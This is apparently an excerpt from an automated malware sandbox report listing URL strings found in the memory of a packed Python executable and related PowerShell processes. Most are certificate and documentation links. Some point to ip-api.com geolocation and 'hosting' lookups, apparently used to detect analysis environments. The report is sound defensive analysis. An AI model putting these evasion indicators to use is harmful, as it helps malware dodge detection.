00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000002.2414627174.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 9g9LZNE4bH.exe, 00000002.00000003.2138960524.000001F12B1CB000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000002A.00000002.2300518924.000001C0537FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000002A.00000002.2299859889.000001C053700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000002.2414627174.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _sqlite3.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: 9g9LZNE4bH.exe, 00000002.00000003.2048564293.000001F12AD6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2401915686.000001F12B400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2401915686.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2085401130.000001F12B471000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2144196309.000001F12B480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399381962.000001F12AC00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr
Source: powershell.exe, 00000007.00000002.2222117000.000001B991E34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2291396544.000001C04B3F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2242595273.000001C03CCF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000002.2414627174.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000002.2414627174.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03B5AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000007.00000002.2190941611.000001B981FE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000007.00000002.2190941611.000001B981DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2242595273.000001C03B381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.2190941611.000001B981FE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12BF70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03C986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03B5AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 9g9LZNE4bH.exe, 00000002.00000003.2048185585.000001F12ADED000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048141519.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049571529.000001F12B460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
